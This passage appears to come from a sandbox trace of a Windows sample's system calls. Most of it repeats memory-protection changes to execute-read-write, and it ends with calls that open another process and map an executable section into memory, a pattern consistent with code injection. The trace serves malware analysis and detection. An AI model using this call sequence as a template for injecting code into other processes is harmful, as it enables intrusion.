OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.537] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.547] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.584] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.594] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.604] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.620] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.630] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.640] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.657] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.677] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.687] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.697] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.714] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.724] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.734] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.744] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.761] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.772] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.782] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.793] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.810] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.821] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.831] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.842] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.858] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.868] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.879] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.889] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.918] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.937] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.967] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0354.986] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.016] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.031] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.054] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.078] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.095] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.105] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.116] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.127] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.154] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.173] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.203] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.221] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.278] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.296] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.359] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.389] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.405] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.415] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.426] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.436] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.458] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.484] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.495] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.512] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.523] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.533] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.544] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.561] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.571] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.582] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.592] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.609] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.620] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x409000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.634] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.651] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.663] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.674] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.684] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.701] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.707] NtOpenProcess (in: ProcessHandle=0x1eb8ea74, DesiredAccess=0x438, ObjectAttributes=0x1eb8ea94*(Length=0x18, RootDirectory=0x0, ObjectName=0x0, Attributes=0x0, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), ClientId=0x1eb8ea68*(UniqueProcess=0x560, UniqueThread=0x0) | out: ProcessHandle=0x1eb8ea74*=0x2f0) returned 0x0 [0355.712] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.723] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.729] NtQueryInformationProcess (in: ProcessHandle=0x2f0, ProcessInformationClass=0x1a, ProcessInformation=0x1eb8e780, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x1eb8e780, ReturnLength=0x0) returned 0x0 [0355.735] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.752] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.763] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.774] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.791] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.802] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.813] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0355.819] NtCreateSection (in: SectionHandle=0x1eb8e41c, DesiredAccess=0xf001f, ObjectAttributes=0x0, MaximumSize=0x1eb8e3dc, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x1eb8e41c*=0x3a8) returned 0x0 [0355.819] NtMapViewOfSection (in: SectionHandle=0x3a8, ProcessHandle=0xffffffff, BaseAddress=0x1eb8e424*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x1eb8e3dc*=0x113a00, 